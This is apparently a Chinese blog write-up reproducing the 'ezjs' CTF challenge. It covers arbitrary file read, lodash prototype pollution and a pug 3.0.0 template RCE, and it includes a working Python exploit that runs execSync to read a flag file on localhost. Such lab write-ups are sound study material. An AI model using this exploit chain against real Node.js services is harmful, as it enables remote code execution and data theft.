0%

巅峰极客-ezjs复现

巅峰极客-ezjs复现

参考WP

k佬的wp

0x00 前言

又是一次爆零的比赛。

0x01 任意文件读取+nodejs的学习

题目开始的登录框,随便输什么都可以进。试了一下,然后发现newimg=./images/2.png存在任意文件读取。

然后正确的做法就是判断出题目是nodejs写的,然后尝试读取根目录下的package-lock.json和一系列题目的源码,可惜当时我并没用nodejs搭过环境。所以比赛的其他时间基本都在做无用功。

赛后花了些时间把nodejs简单学习了一下。并成功用vscode对它进行调试。这几天从k佬哪里拿到源码,加上赵哥给的exp和k佬的wp,想把这道题复现一下。

0x02 lodash原型链污染+pug rce

原理看这个文章

在lodash<4.17.17下body('*').trim(). 的处理为在原字串两边加上[""] 。于是可以构造"].__proto__["test便可以成功污染到原型链。

然后便成功进入下面的if分支

通过这篇pug rce了解到题目中的pug3.0.0存在rce

原理大概是在pug-code-gun.js的visitMixinBlock中对传入的pretty未进行任何处理便进行直接拼接

按照文章中给出的payload发现打不通。按赵哥给的打发现可以。

1
2
3
4
5
6
7
8
9
10
11
12
13
import requests
url="http://localhost:12345/"
session=requests.session()
session.post(url+'login',data={
"username":'a'*26,
"password":'b'*26
})
payload={'"].__proto__["isadmin': '123123',
'"].__proto__["debug': '123123'}
r=session.get(url+'admin',params={
"p":"');return process.mainModule.constructor._load('child_process').execSync('tac /root/flag.txt');_=('"
},data=payload)
print(r.text)

0x03 小结

这道题前前后后做了好久。

回顾一下,时间花在了了解nodejs,搭建环境,调试题目上。

并且起初因为package.json的版本标注中带有^,导致最后下载到的版本是不对的。调试了半天也没有成功。。。

所以分享一下这两个版本的不同。

左面是lodash4.17.19,右面是lodash4.17.15。据我发现只是多了一个过滤。

左面是pug-code-gun3.0.2,右面是pug-code-gun3.0.0。好像也就是多了个过滤。

最后最后总结一下为什么当时没做出来:一是对nodejs的不熟悉,导致源码都没读全;二是没有熟练的运用搜索引擎,当时虽然知道第一步是有关链污染的,但因没搜到对应的文章,导致没有思路。再接再厉吧😷

最最后,感谢一下k佬给予的帮助!